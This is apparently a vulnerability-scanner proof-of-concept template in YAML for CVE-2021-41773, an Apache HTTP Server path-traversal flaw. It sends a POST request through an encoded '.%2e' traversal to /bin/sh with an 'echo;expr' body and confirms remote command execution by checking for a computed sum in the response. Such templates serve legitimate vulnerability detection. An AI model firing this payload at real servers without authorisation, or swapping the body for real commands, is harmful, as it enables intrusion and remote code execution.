name: poc-yaml-apache-httpd-cve-2021-41773-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh body: echo;expr {{r1}} + {{r2}} expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: B1anda0(https://github.com/B1anda0) links: - https://nvd.nist.gov/vuln/detail/CVE-2021-41773